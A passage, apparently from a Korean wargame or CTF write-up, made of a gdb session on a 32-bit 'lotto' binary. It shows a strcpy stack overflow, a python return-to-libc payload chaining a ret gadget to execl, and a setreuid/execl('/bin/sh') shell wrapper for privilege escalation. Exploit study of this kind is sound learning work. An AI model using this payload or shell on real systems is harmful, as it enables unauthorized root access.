208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528


root@ubuntu:~# gdb lotto 
GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
(no debugging symbols found)
(gdb) disassemble main
Dump of assembler code for function main:
0x08048534 <main+0>: push %ebp
0x08048535 <main+1>: mov %esp,%ebp
0x08048537 <main+3>: push %ebx
0x08048538 <main+4>: sub $0x54,%esp
0x0804853b <main+7>: movw $0x0,-0x6(%ebp)
0x08048541 <main+13>: movl $0x0,-0x1c(%ebp)
0x08048548 <main+20>: movl $0x0,(%esp)
0x0804854f <main+27>: call 0x8048450 <time@plt>
0x08048554 <main+32>: mov %eax,(%esp)
0x08048557 <main+35>: call 0x80483d0 <srand@plt>
0x0804855c <main+40>: movl $0x0,-0x10(%ebp)
0x08048563 <main+47>: jmp 0x80485d9 <main+165>
0x08048565 <main+49>: call 0x8048470 <rand@plt>
0x0804856a <main+54>: mov %eax,%ecx
0x0804856c <main+56>: mov $0xb60b60b7,%edx
0x08048571 <main+61>: mov %ecx,%eax
0x08048573 <main+63>: imul %edx
0x08048575 <main+65>: lea (%edx,%ecx,1),%eax
0x08048578 <main+68>: mov %eax,%edx
0x0804857a <main+70>: sar $0x5,%edx
0x0804857d <main+73>: mov %ecx,%eax
0x0804857f <main+75>: sar $0x1f,%eax
0x08048582 <main+78>: mov %edx,%ebx
0x08048584 <main+80>: sub %eax,%ebx
0x08048586 <main+82>: mov %ebx,%eax
0x08048588 <main+84>: imul $0x2d,%eax,%eax
0x0804858b <main+87>: mov %ecx,%edx
0x0804858d <main+89>: sub %eax,%edx
0x0804858f <main+91>: mov %edx,%eax
0x08048591 <main+93>: add $0x1,%eax
0x08048594 <main+96>: mov %eax,-0x18(%ebp)
0x08048597 <main+99>: movl $0x0,-0x14(%ebp)
0x0804859e <main+106>: jmp 0x80485bd <main+137>
0x080485a0 <main+108>: mov -0x14(%ebp),%eax
0x080485a3 <main+111>: mov -0x4c(%ebp,%eax,4),%eax
0x080485a7 <main+115>: cmp -0x18(%ebp),%eax
0x080485aa <main+118>: jne 0x80485b9 <main+133>
0x080485ac <main+120>: subl $0x1,-0x10(%ebp)
0x080485b0 <main+124>: movl $0x0,-0x18(%ebp)
0x080485b7 <main+131>: jmp 0x80485c5 <main+145>
0x080485b9 <main+133>: addl $0x1,-0x14(%ebp)
0x080485bd <main+137>: mov -0x14(%ebp),%eax
0x080485c0 <main+140>: cmp -0x10(%ebp),%eax
0x080485c3 <main+143>: jl 0x80485a0 <main+108>
0x080485c5 <main+145>: cmpl $0x0,-0x18(%ebp)
0x080485c9 <main+149>: je 0x80485d5 <main+161>
0x080485cb <main+151>: mov -0x10(%ebp),%eax
---Type <return> to continue, or q <return> to quit---
0x080485ce <main+154>: mov -0x18(%ebp),%edx
0x080485d1 <main+157>: mov %edx,-0x4c(%ebp,%eax,4)
0x080485d5 <main+161>: addl $0x1,-0x10(%ebp)
0x080485d9 <main+165>: cmpl $0x5,-0x10(%ebp)
0x080485dd <main+169>: jle 0x8048565 <main+49>
0x080485df <main+171>: mov $0x80488e4,%eax
0x080485e4 <main+176>: mov %eax,(%esp)
0x080485e7 <main+179>: call 0x8048430 <printf@plt>
0x080485ec <main+184>: cmpl $0x6,0x8(%ebp)
0x080485f0 <main+188>: jg 0x8048608 <main+212>
0x080485f2 <main+190>: movl $0x8048913,(%esp)
0x080485f9 <main+197>: call 0x8048460 <puts@plt>
0x080485fe <main+202>: mov $0x0,%eax
0x08048603 <main+207>: jmp 0x804880e <main+730>
0x08048608 <main+212>: movl $0x0,-0x10(%ebp)
0x0804860f <main+219>: jmp 0x8048700 <main+460>
0x08048614 <main+224>: cmpl $0x5,-0x10(%ebp)
0x08048618 <main+228>: jne 0x80486df <main+427>
0x0804861e <main+234>: mov -0x10(%ebp),%eax
0x08048621 <main+237>: add $0x1,%eax
0x08048624 <main+240>: shl $0x2,%eax
0x08048627 <main+243>: add 0xc(%ebp),%eax
0x0804862a <main+246>: mov (%eax),%eax
0x0804862c <main+248>: mov %eax,(%esp)
0x0804862f <main+251>: call 0x8048410 <strlen@plt>
0x08048634 <main+256>: cmp $0x1,%eax
0x08048637 <main+259>: jne 0x804866d <main+313>
0x08048639 <main+261>: mov -0x10(%ebp),%eax
0x0804863c <main+264>: add $0x1,%eax
0x0804863f <main+267>: shl $0x2,%eax
0x08048642 <main+270>: add 0xc(%ebp),%eax
0x08048645 <main+273>: mov (%eax),%eax
0x08048647 <main+275>: movl $0x1,0x8(%esp)
0x0804864f <main+283>: mov %eax,0x4(%esp)
0x08048653 <main+287>: lea -0x6(%ebp),%eax
0x08048656 <main+290>: mov %eax,(%esp)
0x08048659 <main+293>: call 0x80483f0 <strncpy@plt>
0x0804865e <main+298>: movzbl -0x6(%ebp),%eax
0x08048662 <main+302>: movsbl %al,%eax
0x08048665 <main+305>: sub $0x30,%eax
0x08048668 <main+308>: mov %eax,-0x18(%ebp)
0x0804866b <main+311>: jmp 0x80486d3 <main+415>
0x0804866d <main+313>: mov -0x10(%ebp),%eax
0x08048670 <main+316>: add $0x1,%eax
0x08048673 <main+319>: shl $0x2,%eax
0x08048676 <main+322>: add 0xc(%ebp),%eax
0x08048679 <main+325>: mov (%eax),%eax
0x0804867b <main+327>: mov %eax,(%esp)
---Type <return> to continue, or q <return> to quit---
0x0804867e <main+330>: call 0x8048410 <strlen@plt>
0x08048683 <main+335>: cmp $0x1,%eax
0x08048686 <main+338>: jbe 0x80486d3 <main+415>
0x08048688 <main+340>: mov -0x10(%ebp),%eax
0x0804868b <main+343>: add $0x1,%eax
0x0804868e <main+346>: shl $0x2,%eax
0x08048691 <main+349>: add 0xc(%ebp),%eax
0x08048694 <main+352>: mov (%eax),%eax
0x08048696 <main+354>: movl $0x2,0x8(%esp)
0x0804869e <main+362>: mov %eax,0x4(%esp)
0x080486a2 <main+366>: lea -0x6(%ebp),%eax
0x080486a5 <main+369>: mov %eax,(%esp)
0x080486a8 <main+372>: call 0x80483f0 <strncpy@plt>
0x080486ad <main+377>: movzbl -0x6(%ebp),%eax
0x080486b1 <main+381>: movsbl %al,%edx
0x080486b4 <main+384>: mov %edx,%eax
0x080486b6 <main+386>: shl $0x2,%eax
0x080486b9 <main+389>: add %edx,%eax
0x080486bb <main+391>: add %eax,%eax
0x080486bd <main+393>: lea -0x1e0(%eax),%edx
0x080486c3 <main+399>: movzbl -0x5(%ebp),%eax
0x080486c7 <main+403>: movsbl %al,%eax
0x080486ca <main+406>: lea (%edx,%eax,1),%eax
0x080486cd <main+409>: sub $0x30,%eax
0x080486d0 <main+412>: mov %eax,-0x18(%ebp)
0x080486d3 <main+415>: mov -0x10(%ebp),%eax
0x080486d6 <main+418>: mov -0x18(%ebp),%edx
0x080486d9 <main+421>: mov %edx,-0x34(%ebp,%eax,4)
0x080486dd <main+425>: jmp 0x80486fc <main+456>
0x080486df <main+427>: mov -0x10(%ebp),%ebx
0x080486e2 <main+430>: mov -0x10(%ebp),%eax
0x080486e5 <main+433>: add $0x1,%eax
0x080486e8 <main+436>: shl $0x2,%eax
0x080486eb <main+439>: add 0xc(%ebp),%eax
0x080486ee <main+442>: mov (%eax),%eax
0x080486f0 <main+444>: mov %eax,(%esp)
0x080486f3 <main+447>: call 0x8048440 <atoi@plt>
0x080486f8 <main+452>: mov %eax,-0x34(%ebp,%ebx,4)
0x080486fc <main+456>: addl $0x1,-0x10(%ebp)
0x08048700 <main+460>: cmpl $0x5,-0x10(%ebp)
0x08048704 <main+464>: jle 0x8048614 <main+224>
0x0804870a <main+470>: mov $0x804892d,%eax
0x0804870f <main+475>: mov %eax,(%esp)
0x08048712 <main+478>: call 0x8048430 <printf@plt>
0x08048717 <main+483>: movl $0x0,-0x10(%ebp)
0x0804871e <main+490>: jmp 0x804873c <main+520>
0x08048720 <main+492>: mov -0x10(%ebp),%eax
0x08048723 <main+495>: mov -0x4c(%ebp,%eax,4),%edx
---Type <return> to continue, or q <return> to quit---
0x08048727 <main+499>: mov $0x804893e,%eax
0x0804872c <main+504>: mov %edx,0x4(%esp)
0x08048730 <main+508>: mov %eax,(%esp)
0x08048733 <main+511>: call 0x8048430 <printf@plt>
0x08048738 <main+516>: addl $0x1,-0x10(%ebp)
0x0804873c <main+520>: cmpl $0x5,-0x10(%ebp)
0x08048740 <main+524>: jle 0x8048720 <main+492>
0x08048742 <main+526>: mov $0x8048942,%eax
0x08048747 <main+531>: mov %eax,(%esp)
0x0804874a <main+534>: call 0x8048430 <printf@plt>
0x0804874f <main+539>: movl $0x0,-0x10(%ebp)
0x08048756 <main+546>: jmp 0x8048774 <main+576>
0x08048758 <main+548>: mov -0x10(%ebp),%eax
0x0804875b <main+551>: mov -0x34(%ebp,%eax,4),%edx
0x0804875f <main+555>: mov $0x804893e,%eax
0x08048764 <main+560>: mov %edx,0x4(%esp)
0x08048768 <main+564>: mov %eax,(%esp)
0x0804876b <main+567>: call 0x8048430 <printf@plt>
0x08048770 <main+572>: addl $0x1,-0x10(%ebp)
0x08048774 <main+576>: cmpl $0x5,-0x10(%ebp)
0x08048778 <main+580>: jle 0x8048758 <main+548>
0x0804877a <main+582>: movl $0x8048954,(%esp)
0x08048781 <main+589>: call 0x8048460 <puts@plt>
0x08048786 <main+594>: movl $0x0,-0x1c(%ebp)
0x0804878d <main+601>: movl $0x0,-0x10(%ebp)
0x08048794 <main+608>: jmp 0x8048803 <main+719>
0x08048796 <main+610>: movl $0x0,-0x14(%ebp)
0x0804879d <main+617>: jmp 0x80487f6 <main+706>
0x0804879f <main+619>: mov -0x10(%ebp),%eax
0x080487a2 <main+622>: mov -0x4c(%ebp,%eax,4),%edx
0x080487a6 <main+626>: mov -0x14(%ebp),%eax
0x080487a9 <main+629>: mov -0x34(%ebp,%eax,4),%eax
0x080487ad <main+633>: cmp %eax,%edx
0x080487af <main+635>: jne 0x80487f2 <main+702>
0x080487b1 <main+637>: addl $0x1,-0x1c(%ebp)
0x080487b5 <main+641>: cmpl $0x5,-0x10(%ebp)
0x080487b9 <main+645>: jne 0x80487f2 <main+702>
0x080487bb <main+647>: cmpl $0x6,-0x1c(%ebp)
0x080487bf <main+651>: jne 0x80487f2 <main+702>
0x080487c1 <main+653>: movl $0x8048956,(%esp)
0x080487c8 <main+660>: call 0x8048460 <puts@plt>
0x080487cd <main+665>: mov 0xc(%ebp),%eax
0x080487d0 <main+668>: add $0x1c,%eax
0x080487d3 <main+671>: mov (%eax),%eax
0x080487d5 <main+673>: test %eax,%eax
0x080487d7 <main+675>: je 0x80487fe <main+714>
0x080487d9 <main+677>: mov 0xc(%ebp),%eax
0x080487dc <main+680>: add $0x1c,%eax
---Type <return> to continue, or q <return> to quit---
0x080487df <main+683>: mov (%eax),%eax
0x080487e1 <main+685>: mov %eax,0x4(%esp)
0x080487e5 <main+689>: lea -0xa(%ebp),%eax
0x080487e8 <main+692>: mov %eax,(%esp)
0x080487eb <main+695>: call 0x8048420 <strcpy@plt>
0x080487f0 <main+700>: jmp 0x80487ff <main+715>
0x080487f2 <main+702>: addl $0x1,-0x14(%ebp)
0x080487f6 <main+706>: cmpl $0x5,-0x14(%ebp)
0x080487fa <main+710>: jle 0x804879f <main+619>
0x080487fc <main+712>: jmp 0x80487ff <main+715>
0x080487fe <main+714>: nop 
0x080487ff <main+715>: addl $0x1,-0x10(%ebp)
0x08048803 <main+719>: cmpl $0x5,-0x10(%ebp)
0x08048807 <main+723>: jle 0x8048796 <main+610>
0x08048809 <main+725>: mov $0x0,%eax
0x0804880e <main+730>: add $0x54,%esp
0x08048811 <main+733>: pop %ebx
0x08048812 <main+734>: pop %ebp
0x08048813 <main+735>: ret 
End of assembler dump.
(gdb) b main
Breakpoint 1 at 0x8048538
(gdb) b *main+700
Breakpoint 2 at 0x80487f0
(gdb) b *main+735
Breakpoint 3 at 0x8048813
(gdb) r 1 2 3 4 5 6 AABBBB CCCC
Starting program: /root/lotto 1 2 3 4 5 6 AABBBB CCCC
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)

Breakpoint 1, 0x08048538 in main ()
(gdb) jump *main+677
Continuing at 0x80487d9.

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) x/32wx $esp-8
0xbf92f18c: 0x4141f198 0x42424242 0xbf92f100 0xbf92fa2b
0xbf92f19c: 0xb7dfb450 0x00000009 0xbf92f224 0xbf92f24c
0xbf92f1ac: 0xb7f38b38 0x00000000 0x00000001 0x00000000
0xbf92f1bc: 0x080482d7 0xb7f2fff4 0xb7f54ce0 0x00000000
0xbf92f1cc: 0xbf92f1f8 0x67434086 0xfdc82a96 0x00000000
0xbf92f1dc: 0x00000000 0x00000000 0xb7f4cb80 0xb7dfb37d
0xbf92f1ec: 0xb7f54ff4 0x00000009 0x08048480 0x00000000
0xbf92f1fc: 0x080484a1 0x08048534 0x00000009 0xbf92f224
(gdb) 
0xbf92f20c: 0x08048830 0x08048820 0xb7f47e20 0xbf92f21c
0xbf92f21c: 0xb7f523e5 0x00000009 0xbf92fa13 0xbf92fa1f
0xbf92f22c: 0xbf92fa21 0xbf92fa23 0xbf92fa25 0xbf92fa27
0xbf92f23c: 0xbf92fa29 0xbf92fa2b 0xbf92fa32 0x00000000
0xbf92f24c: 0xbf92fa37 0xbf92fa42 0xbf92fa52 0xbf92fa73
0xbf92f25c: 0xbf92fa86 0xbf92fa90 0xbf92feb9 0xbf92fec5
0xbf92f26c: 0xbf92fed9 0xbf92ff26 0xbf92ff35 0xbf92ff3f
0xbf92f27c: 0xbf92ff50 0xbf92ff59 0xbf92ff64 0xbf92ff6c
(gdb) x/32wx 0xbf92fa32
0xbf92fa32: 0x43434343 0x52455400 0x696c3d4d 0x0078756e
0xbf92fa42: 0x4c454853 0x622f3d4c 0x622f6e69 0x00687361
0xbf92fa52: 0x5f485353 0x45494c43 0x313d544e 0x312e3239
0xbf92fa62: 0x312e3836 0x312e3930 0x35323120 0x32322031
0xbf92fa72: 0x48535300 0x5954545f 0x65642f3d 0x74702f76
0xbf92fa82: 0x00312f73 0x52455355 0x6f6f723d 0x534c0074
0xbf92fa92: 0x4c4f435f 0x3d53524f 0x303d6f6e 0x69663a30
0xbf92faa2: 0x3a30303d 0x303d6964 0x34333b31 0x3d6e6c3a
(gdb) x/s 0xbf92fa32
0xbf92fa32: "CCCC"
(gdb) x/x execl
0xb7e7b420 <execl>: 0x53565755
(gdb) disassemble main
Dump of assembler code for function main:
0x08048534 <main+0>: push %ebp
0x08048535 <main+1>: mov %esp,%ebp
0x08048537 <main+3>: push %ebx
0x08048538 <main+4>: sub $0x54,%esp
0x0804853b <main+7>: movw $0x0,-0x6(%ebp)
0x08048541 <main+13>: movl $0x0,-0x1c(%ebp)
0x08048548 <main+20>: movl $0x0,(%esp)
0x0804854f <main+27>: call 0x8048450 <time@plt>
0x08048554 <main+32>: mov %eax,(%esp)
0x08048557 <main+35>: call 0x80483d0 <srand@plt>
0x0804855c <main+40>: movl $0x0,-0x10(%ebp)
0x08048563 <main+47>: jmp 0x80485d9 <main+165>
0x08048565 <main+49>: call 0x8048470 <rand@plt>
0x0804856a <main+54>: mov %eax,%ecx
0x0804856c <main+56>: mov $0xb60b60b7,%edx
0x08048571 <main+61>: mov %ecx,%eax
0x08048573 <main+63>: imul %edx
0x08048575 <main+65>: lea (%edx,%ecx,1),%eax
0x08048578 <main+68>: mov %eax,%edx
0x0804857a <main+70>: sar $0x5,%edx
0x0804857d <main+73>: mov %ecx,%eax
0x0804857f <main+75>: sar $0x1f,%eax
0x08048582 <main+78>: mov %edx,%ebx
0x08048584 <main+80>: sub %eax,%ebx
0x08048586 <main+82>: mov %ebx,%eax
0x08048588 <main+84>: imul $0x2d,%eax,%eax
0x0804858b <main+87>: mov %ecx,%edx
0x0804858d <main+89>: sub %eax,%edx
0x0804858f <main+91>: mov %edx,%eax
0x08048591 <main+93>: add $0x1,%eax
0x08048594 <main+96>: mov %eax,-0x18(%ebp)
0x08048597 <main+99>: movl $0x0,-0x14(%ebp)
0x0804859e <main+106>: jmp 0x80485bd <main+137>
0x080485a0 <main+108>: mov -0x14(%ebp),%eax
0x080485a3 <main+111>: mov -0x4c(%ebp,%eax,4),%eax
0x080485a7 <main+115>: cmp -0x18(%ebp),%eax
0x080485aa <main+118>: jne 0x80485b9 <main+133>
0x080485ac <main+120>: subl $0x1,-0x10(%ebp)
0x080485b0 <main+124>: movl $0x0,-0x18(%ebp)
0x080485b7 <main+131>: jmp 0x80485c5 <main+145>
0x080485b9 <main+133>: addl $0x1,-0x14(%ebp)
0x080485bd <main+137>: mov -0x14(%ebp),%eax
0x080485c0 <main+140>: cmp -0x10(%ebp),%eax
0x080485c3 <main+143>: jl 0x80485a0 <main+108>
0x080485c5 <main+145>: cmpl $0x0,-0x18(%ebp)
0x080485c9 <main+149>: je 0x80485d5 <main+161>
0x080485cb <main+151>: mov -0x10(%ebp),%eax
---Type <return> to continue, or q <return> to quit---
0x080485ce <main+154>: mov -0x18(%ebp),%edx
0x080485d1 <main+157>: mov %edx,-0x4c(%ebp,%eax,4)
0x080485d5 <main+161>: addl $0x1,-0x10(%ebp)
0x080485d9 <main+165>: cmpl $0x5,-0x10(%ebp)
0x080485dd <main+169>: jle 0x8048565 <main+49>
0x080485df <main+171>: mov $0x80488e4,%eax
0x080485e4 <main+176>: mov %eax,(%esp)
0x080485e7 <main+179>: call 0x8048430 <printf@plt>
0x080485ec <main+184>: cmpl $0x6,0x8(%ebp)
0x080485f0 <main+188>: jg 0x8048608 <main+212>
0x080485f2 <main+190>: movl $0x8048913,(%esp)
0x080485f9 <main+197>: call 0x8048460 <puts@plt>
0x080485fe <main+202>: mov $0x0,%eax
0x08048603 <main+207>: jmp 0x804880e <main+730>
0x08048608 <main+212>: movl $0x0,-0x10(%ebp)
0x0804860f <main+219>: jmp 0x8048700 <main+460>
0x08048614 <main+224>: cmpl $0x5,-0x10(%ebp)
0x08048618 <main+228>: jne 0x80486df <main+427>
0x0804861e <main+234>: mov -0x10(%ebp),%eax
0x08048621 <main+237>: add $0x1,%eax
0x08048624 <main+240>: shl $0x2,%eax
0x08048627 <main+243>: add 0xc(%ebp),%eax
0x0804862a <main+246>: mov (%eax),%eax
0x0804862c <main+248>: mov %eax,(%esp)
0x0804862f <main+251>: call 0x8048410 <strlen@plt>
0x08048634 <main+256>: cmp $0x1,%eax
0x08048637 <main+259>: jne 0x804866d <main+313>
0x08048639 <main+261>: mov -0x10(%ebp),%eax
0x0804863c <main+264>: add $0x1,%eax
0x0804863f <main+267>: shl $0x2,%eax
0x08048642 <main+270>: add 0xc(%ebp),%eax
0x08048645 <main+273>: mov (%eax),%eax
0x08048647 <main+275>: movl $0x1,0x8(%esp)
0x0804864f <main+283>: mov %eax,0x4(%esp)
0x08048653 <main+287>: lea -0x6(%ebp),%eax
0x08048656 <main+290>: mov %eax,(%esp)
0x08048659 <main+293>: call 0x80483f0 <strncpy@plt>
0x0804865e <main+298>: movzbl -0x6(%ebp),%eax
0x08048662 <main+302>: movsbl %al,%eax
0x08048665 <main+305>: sub $0x30,%eax
0x08048668 <main+308>: mov %eax,-0x18(%ebp)
0x0804866b <main+311>: jmp 0x80486d3 <main+415>
0x0804866d <main+313>: mov -0x10(%ebp),%eax
0x08048670 <main+316>: add $0x1,%eax
0x08048673 <main+319>: shl $0x2,%eax
0x08048676 <main+322>: add 0xc(%ebp),%eax
0x08048679 <main+325>: mov (%eax),%eax
0x0804867b <main+327>: mov %eax,(%esp)
---Type <return> to continue, or q <return> to quit---
0x0804867e <main+330>: call 0x8048410 <strlen@plt>
0x08048683 <main+335>: cmp $0x1,%eax
0x08048686 <main+338>: jbe 0x80486d3 <main+415>
0x08048688 <main+340>: mov -0x10(%ebp),%eax
0x0804868b <main+343>: add $0x1,%eax
0x0804868e <main+346>: shl $0x2,%eax
0x08048691 <main+349>: add 0xc(%ebp),%eax
0x08048694 <main+352>: mov (%eax),%eax
0x08048696 <main+354>: movl $0x2,0x8(%esp)
0x0804869e <main+362>: mov %eax,0x4(%esp)
0x080486a2 <main+366>: lea -0x6(%ebp),%eax
0x080486a5 <main+369>: mov %eax,(%esp)
0x080486a8 <main+372>: call 0x80483f0 <strncpy@plt>
0x080486ad <main+377>: movzbl -0x6(%ebp),%eax
0x080486b1 <main+381>: movsbl %al,%edx
0x080486b4 <main+384>: mov %edx,%eax
0x080486b6 <main+386>: shl $0x2,%eax
0x080486b9 <main+389>: add %edx,%eax
0x080486bb <main+391>: add %eax,%eax
0x080486bd <main+393>: lea -0x1e0(%eax),%edx
0x080486c3 <main+399>: movzbl -0x5(%ebp),%eax
0x080486c7 <main+403>: movsbl %al,%eax
0x080486ca <main+406>: lea (%edx,%eax,1),%eax
0x080486cd <main+409>: sub $0x30,%eax
0x080486d0 <main+412>: mov %eax,-0x18(%ebp)
0x080486d3 <main+415>: mov -0x10(%ebp),%eax
0x080486d6 <main+418>: mov -0x18(%ebp),%edx
0x080486d9 <main+421>: mov %edx,-0x34(%ebp,%eax,4)
0x080486dd <main+425>: jmp 0x80486fc <main+456>
0x080486df <main+427>: mov -0x10(%ebp),%ebx
0x080486e2 <main+430>: mov -0x10(%ebp),%eax
0x080486e5 <main+433>: add $0x1,%eax
0x080486e8 <main+436>: shl $0x2,%eax
0x080486eb <main+439>: add 0xc(%ebp),%eax
0x080486ee <main+442>: mov (%eax),%eax
0x080486f0 <main+444>: mov %eax,(%esp)
0x080486f3 <main+447>: call 0x8048440 <atoi@plt>
0x080486f8 <main+452>: mov %eax,-0x34(%ebp,%ebx,4)
0x080486fc <main+456>: addl $0x1,-0x10(%ebp)
0x08048700 <main+460>: cmpl $0x5,-0x10(%ebp)
0x08048704 <main+464>: jle 0x8048614 <main+224>
0x0804870a <main+470>: mov $0x804892d,%eax
0x0804870f <main+475>: mov %eax,(%esp)
0x08048712 <main+478>: call 0x8048430 <printf@plt>
0x08048717 <main+483>: movl $0x0,-0x10(%ebp)
0x0804871e <main+490>: jmp 0x804873c <main+520>
0x08048720 <main+492>: mov -0x10(%ebp),%eax
0x08048723 <main+495>: mov -0x4c(%ebp,%eax,4),%edx
---Type <return> to continue, or q <return> to quit---
0x08048727 <main+499>: mov $0x804893e,%eax
0x0804872c <main+504>: mov %edx,0x4(%esp)
0x08048730 <main+508>: mov %eax,(%esp)
0x08048733 <main+511>: call 0x8048430 <printf@plt>
0x08048738 <main+516>: addl $0x1,-0x10(%ebp)
0x0804873c <main+520>: cmpl $0x5,-0x10(%ebp)
0x08048740 <main+524>: jle 0x8048720 <main+492>
0x08048742 <main+526>: mov $0x8048942,%eax
0x08048747 <main+531>: mov %eax,(%esp)
0x0804874a <main+534>: call 0x8048430 <printf@plt>
0x0804874f <main+539>: movl $0x0,-0x10(%ebp)
0x08048756 <main+546>: jmp 0x8048774 <main+576>
0x08048758 <main+548>: mov -0x10(%ebp),%eax
0x0804875b <main+551>: mov -0x34(%ebp,%eax,4),%edx
0x0804875f <main+555>: mov $0x804893e,%eax
0x08048764 <main+560>: mov %edx,0x4(%esp)
0x08048768 <main+564>: mov %eax,(%esp)
0x0804876b <main+567>: call 0x8048430 <printf@plt>
0x08048770 <main+572>: addl $0x1,-0x10(%ebp)
0x08048774 <main+576>: cmpl $0x5,-0x10(%ebp)
0x08048778 <main+580>: jle 0x8048758 <main+548>
0x0804877a <main+582>: movl $0x8048954,(%esp)
0x08048781 <main+589>: call 0x8048460 <puts@plt>
0x08048786 <main+594>: movl $0x0,-0x1c(%ebp)
0x0804878d <main+601>: movl $0x0,-0x10(%ebp)
0x08048794 <main+608>: jmp 0x8048803 <main+719>
0x08048796 <main+610>: movl $0x0,-0x14(%ebp)
0x0804879d <main+617>: jmp 0x80487f6 <main+706>
0x0804879f <main+619>: mov -0x10(%ebp),%eax
0x080487a2 <main+622>: mov -0x4c(%ebp,%eax,4),%edx
0x080487a6 <main+626>: mov -0x14(%ebp),%eax
0x080487a9 <main+629>: mov -0x34(%ebp,%eax,4),%eax
0x080487ad <main+633>: cmp %eax,%edx
0x080487af <main+635>: jne 0x80487f2 <main+702>
0x080487b1 <main+637>: addl $0x1,-0x1c(%ebp)
0x080487b5 <main+641>: cmpl $0x5,-0x10(%ebp)
0x080487b9 <main+645>: jne 0x80487f2 <main+702>
0x080487bb <main+647>: cmpl $0x6,-0x1c(%ebp)
0x080487bf <main+651>: jne 0x80487f2 <main+702>
0x080487c1 <main+653>: movl $0x8048956,(%esp)
0x080487c8 <main+660>: call 0x8048460 <puts@plt>
0x080487cd <main+665>: mov 0xc(%ebp),%eax
0x080487d0 <main+668>: add $0x1c,%eax
0x080487d3 <main+671>: mov (%eax),%eax
0x080487d5 <main+673>: test %eax,%eax
0x080487d7 <main+675>: je 0x80487fe <main+714>
0x080487d9 <main+677>: mov 0xc(%ebp),%eax
0x080487dc <main+680>: add $0x1c,%eax
---Type <return> to continue, or q <return> to quit---
0x080487df <main+683>: mov (%eax),%eax
0x080487e1 <main+685>: mov %eax,0x4(%esp)
0x080487e5 <main+689>: lea -0xa(%ebp),%eax
0x080487e8 <main+692>: mov %eax,(%esp)
0x080487eb <main+695>: call 0x8048420 <strcpy@plt>
0x080487f0 <main+700>: jmp 0x80487ff <main+715>
0x080487f2 <main+702>: addl $0x1,-0x14(%ebp)
0x080487f6 <main+706>: cmpl $0x5,-0x14(%ebp)
0x080487fa <main+710>: jle 0x804879f <main+619>
0x080487fc <main+712>: jmp 0x80487ff <main+715>
0x080487fe <main+714>: nop 
0x080487ff <main+715>: addl $0x1,-0x10(%ebp)
0x08048803 <main+719>: cmpl $0x5,-0x10(%ebp)
0x08048807 <main+723>: jle 0x8048796 <main+610>
0x08048809 <main+725>: mov $0x0,%eax
0x0804880e <main+730>: add $0x54,%esp
0x08048811 <main+733>: pop %ebx
0x08048812 <main+734>: pop %ebp
0x08048813 <main+735>: ret 
End of assembler dump.
(gdb) r 1 2 3 4 5 6 "`python -c "print 'AA' + '\x13\x88\x04\x08'*43 + '\x20\xb4\xe7\xb7'"`" CCCC 
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/lotto 1 2 3 4 5 6 "`python -c "print 'AA' + '\x13\x88\x04\x08'*43 + '\x20\xb4\xe7\xb7'"`" CCCC
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)

Breakpoint 1, 0x08048538 in main ()
(gdb) jump *main+677
Continuing at 0x80487d9.

Breakpoint 3, 0x08048813 in main ()
(gdb) x/32wx $esp
0xbfa3e9f4: 0x08048813 0x08048813 0x08048813 0x08048813
0xbfa3ea04: 0x08048813 0x08048813 0x08048813 0x08048813
0xbfa3ea14: 0x08048813 0x08048813 0x08048813 0x08048813
0xbfa3ea24: 0x08048813 0x08048813 0x08048813 0x08048813
0xbfa3ea34: 0x08048813 0x08048813 0x08048813 0x08048813
0xbfa3ea44: 0x08048813 0x08048813 0x08048813 0x08048813
0xbfa3ea54: 0x08048813 0x08048813 0x08048813 0x08048813
0xbfa3ea64: 0x08048813 0x08048813 0x08048813 0x08048813
(gdb) 
0xbfa3ea74: 0x08048813 0x08048813 0x08048813 0x08048813
0xbfa3ea84: 0x08048813 0x08048813 0x08048813 0x08048813
0xbfa3ea94: 0x08048813 0x08048813 0xb7e7b420 0xbfa3f900
0xbfa3eaa4: 0xbfa3fa32 0x00000000 0xbfa3fa37 0xbfa3fa42
0xbfa3eab4: 0xbfa3fa52 0xbfa3fa73 0xbfa3fa86 0xbfa3fa90
0xbfa3eac4: 0xbfa3feb9 0xbfa3fec5 0xbfa3fed9 0xbfa3ff26
0xbfa3ead4: 0xbfa3ff35 0xbfa3ff3f 0xbfa3ff50 0xbfa3ff59
0xbfa3eae4: 0xbfa3ff64 0xbfa3ff6c 0xbfa3ff79 0xbfa3ffae
(gdb) x/s 0xbfa3fa32
0xbfa3fa32: "CCCC"
(gdb) q
The program is running. Exit anyway? (y or n) y
root@ubuntu:~# 

인자 구성이 다 맞아졌다. 이제 인자로 줄 shell 프로그램을 작성해 보도록 하자.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


root@ubuntu:~# cat shell.c 
int main()
{
 setreuid(geteuid(), geteuid());
 setregid(getegid(), getegid());
 execl("/bin/sh", "sh", 0);
}root@ubuntu:~# gcc -o shell shell.c
shell.c: In function ‘main’:
